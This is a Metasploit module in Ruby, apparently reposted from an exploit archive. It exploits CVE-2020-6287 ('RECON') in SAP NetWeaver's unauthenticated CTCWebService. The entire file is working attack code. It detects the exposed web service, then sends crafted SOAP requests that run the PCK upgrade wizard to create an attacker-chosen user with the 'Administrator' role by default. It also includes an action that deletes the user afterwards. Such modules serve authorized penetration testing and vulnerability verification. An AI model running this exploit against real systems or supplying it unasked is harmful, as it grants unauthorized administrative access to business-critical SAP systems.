Share
## https://sploitus.com/exploit?id=PACKETSTORM:180810
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'SAP Unauthenticated WebService User Creation',  
'Description' => %q{  
This module leverages an unauthenticated web service to submit a job which will create a user with a specified  
role. The job involves running a wizard. After the necessary action is taken, the job is canceled to avoid  
unnecessary system changes.  
},  
'Author' => [  
'Pablo Artuso', # The Onapsis Security Researcher who originally found the vulnerability  
'Dmitry Chastuhin', # Author of one of the early PoCs utilizing CTCWebService  
'Spencer McIntyre' # This Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2020-6287' ],  
[ 'URL', 'https://github.com/chipik/SAP_RECON' ],  
[ 'URL', 'https://www.onapsis.com/recon-sap-cyber-security-vulnerability' ],  
[ 'URL', 'https://us-cert.cisa.gov/ncas/alerts/aa20-195a' ]  
],  
'Notes' => {  
'AKA' => [ 'RECON' ],  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS],  
'Reliability' => []  
},  
'Actions' => [  
[ 'ADD', { 'Description' => 'Add the specified user' } ],  
[ 'REMOVE', { 'Description' => 'Remove the specified user' } ]  
],  
'DefaultAction' => 'ADD',  
'DisclosureDate' => '2020-07-14'  
)  
)  
  
register_options(  
[  
Opt::RPORT(50000),  
OptString.new('USERNAME', [ true, 'The username to create' ]),  
OptString.new('PASSWORD', [ true, 'The password for the new user' ]),  
OptString.new('ROLE', [ true, 'The role to assign the new user', 'Administrator' ]),  
OptString.new('TARGETURI', [ true, 'Path to CTCWebService', '/CTCWebService/CTCWebServiceBean' ])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET',  
'vars_get' => { 'wsdl' => '' }  
}  
)  
  
return Exploit::CheckCode::Safe unless res&.code == 200  
return Exploit::CheckCode::Safe unless res.headers['Content-Type'].strip.start_with?('text/xml')  
  
xml = res.get_xml_document  
return Exploit::CheckCode::Safe unless xml.namespaces['xmlns:wsdl'] == 'http://schemas.xmlsoap.org/wsdl/'  
return Exploit::CheckCode::Safe if xml.xpath("//wsdl:definitions/wsdl:service[@name='CTCWebService']").empty?  
  
Exploit::CheckCode::Vulnerable  
end  
  
def run  
case action.name  
when 'ADD'  
action_add  
when 'REMOVE'  
action_remove  
end  
end  
  
def action_add  
job = nil  
print_status('Starting the PCK Upgrade job...')  
job = invoke_pckupgrade  
print_good("Job running with session id: #{job.session_id}")  
  
report_vuln(  
host: rhost,  
port: rport,  
name: name,  
sname: ssl ? 'https' : 'http',  
proto: 'tcp',  
refs: references,  
info: "Module #{fullname} successfully submitted a job via the CTCWebService"  
)  
  
loop do  
# it's a slow process, wait between status checks  
sleep 2  
  
next unless job.has_events_available?  
  
event = job.get_event  
  
if !(action_id = event.xpath('//ctc:StartAction/ctc:Action/ctc:ActionId/text()')).blank? && (action_id.to_s == 'genErrorNotification')  
report_error_details(job)  
fail_with(Failure::Unknown, 'General error')  
end  
  
unless (description = event.xpath('//ctc:StartAction/ctc:Action/ctc:Description/text()')).blank?  
vprint_status("Received event description: #{description}")  
end  
  
unless (description = event.xpath('//ctc:FinishAction/ctc:Action/ctc:Description/text()')).blank? # rubocop:disable Style/Next  
if description.to_s =~ /Create User PCKUser/i  
print_good('Successfully created the user account')  
end  
  
if description.to_s =~ /Assign Role SAP_XI_PCK_CONFIG to PCKUser/i  
print_good('Successfully added the role to the new user')  
break  
end  
end  
end  
ensure  
unless job.nil?  
print_status('Canceling the PCK Upgrade job...')  
job.cancel_execution  
end  
end  
  
def action_remove  
message = { name: 'DeleteUser' }  
message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<root>  
<username secure="true">#{datastore['USERNAME'].encode(xml: :text)}</username>  
</root>  
ENVELOPE  
  
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">  
<soapenv:Header/>  
<soapenv:Body>  
<urn:executeSynchronious>  
<identifier>  
<component>sap.com/tc~lm~config~content</component>  
<path>content/Netweaver/ASJava/NWA/SPC/SPC_DeleteUser.cproc</path>  
</identifier>  
<contextMessages>  
<baData>#{Rex::Text.encode_base64(message[:data])}</baData>  
<name>#{message[:name]}</name>  
</contextMessages>  
</urn:executeSynchronious>  
</soapenv:Body>  
</soapenv:Envelope>  
ENVELOPE  
  
res = send_request_soap(envelope)  
fail_with(Failure::UnexpectedReply, 'Failed to delete the user') unless res&.code == 200  
  
print_good('Successfully deleted the user account')  
end  
  
def report_error_details(job)  
print_error('Received a general error notification')  
error_event = job.get_event  
  
print_error('Error details:')  
error_event.xpath('//ctc:Notification/ctcNote:Messages/ctcNote:Message').each do |message|  
print_error(" #{message.text}")  
end  
end  
  
def send_request_soap(envelope)  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path),  
'method' => 'POST',  
'ctype' => 'text/xml;charset=UTF-8',  
'data' => envelope  
}  
)  
  
return nil unless res&.code == 200  
return nil unless res.headers['Content-Type'].strip.start_with?('text/xml')  
  
res  
end  
  
def invoke_pckupgrade  
message = { name: 'Netweaver.PI_PCK.PCK' }  
message[:data] = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<PCK>  
<Usermanagement>  
<SAP_XI_PCK_CONFIG>  
<roleName>#{datastore['ROLE'].encode(xml: :text)}</roleName>  
</SAP_XI_PCK_CONFIG>  
<SAP_XI_PCK_COMMUNICATION>  
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>  
</SAP_XI_PCK_COMMUNICATION>  
<SAP_XI_PCK_MONITOR>  
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>  
</SAP_XI_PCK_MONITOR>  
<SAP_XI_PCK_ADMIN>  
<roleName>#{Rex::Text.rand_text_alphanumeric(10..16)}</roleName>  
</SAP_XI_PCK_ADMIN>  
<PCKUser>  
<userName secure="true">#{datastore['USERNAME'].encode(xml: :text)}</userName>  
<password secure="true">#{datastore['PASSWORD'].encode(xml: :text)}</password>  
</PCKUser>  
<PCKReceiver>  
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>  
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>  
</PCKReceiver>  
<PCKMonitor>  
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>  
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>  
</PCKMonitor>  
<PCKAdmin>  
<userName>#{Rex::Text.rand_text_alphanumeric(10..16)}</userName>  
<password secure="true">#{Rex::Text.rand_text_alphanumeric(10..16)}</password>  
</PCKAdmin>  
</Usermanagement>  
</PCK>  
ENVELOPE  
  
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">  
<soapenv:Header/>  
<soapenv:Body>  
<urn:execute>  
<identifier>  
<component>sap.com/tc~lm~config~content</component>  
<path>content/Netweaver/PI_PCK/PCK/PCKProcess.cproc</path>  
</identifier>  
<contextMessages>  
<baData>#{Rex::Text.encode_base64(message[:data])}</baData>  
<name>#{message[:name]}</name>  
</contextMessages>  
</urn:execute>  
</soapenv:Body>  
</soapenv:Envelope>  
ENVELOPE  
  
res = send_request_soap(envelope)  
fail_with(Failure::UnexpectedReply, 'Failed to start the PCK Upgrade process') unless res&.code == 200  
  
session_id = res.get_xml_document.xpath('//return/text()').to_s  
WebServiceJob.new(self, session_id)  
end  
end  
  
class WebServiceJob  
def initialize(mod, session_id)  
@mod = mod  
@session_id = session_id  
end  
  
def cancel_execution  
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">  
<soapenv:Header/>  
<soapenv:Body>  
<urn:cancelExecution>  
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>  
</urn:cancelExecution>  
</soapenv:Body>  
</soapenv:Envelope>  
ENVELOPE  
res = send_request_soap(envelope)  
fail_with(Failure::UnexpectedReply, 'Failed to cancel execution') if res.nil?  
  
res.get_xml_document.xpath('//return/text()').to_s != 'false'  
end  
  
def get_event  
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">  
<soapenv:Header/>  
<soapenv:Body>  
<urn:getNextEvent>  
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>  
</urn:getNextEvent>  
</soapenv:Body>  
</soapenv:Envelope>  
ENVELOPE  
res = send_request_soap(envelope)  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve the event information') if res.nil?  
  
Nokogiri::XML(Rex::Text.decode_base64(res.get_xml_document.xpath('//return/text()')))  
end  
  
def has_events_available? # rubocop:disable Naming/PredicateName  
envelope = Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)  
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">  
<soapenv:Header/>  
<soapenv:Body>  
<urn:eventsAvailable>  
<sessionId>#{@session_id.encode(xml: :text)}</sessionId>  
</urn:eventsAvailable>  
</soapenv:Body>  
</soapenv:Envelope>  
ENVELOPE  
res = send_request_soap(envelope)  
fail_with(Failure::UnexpectedReply, 'Failed to check if events are available') if res.nil?  
  
res.get_xml_document.xpath('//return/text()').to_s != 'false'  
end  
  
attr_reader :session_id  
  
private  
  
def send_request_soap(*args, **kwargs)  
@mod.send_request_soap(*args, **kwargs)  
end  
end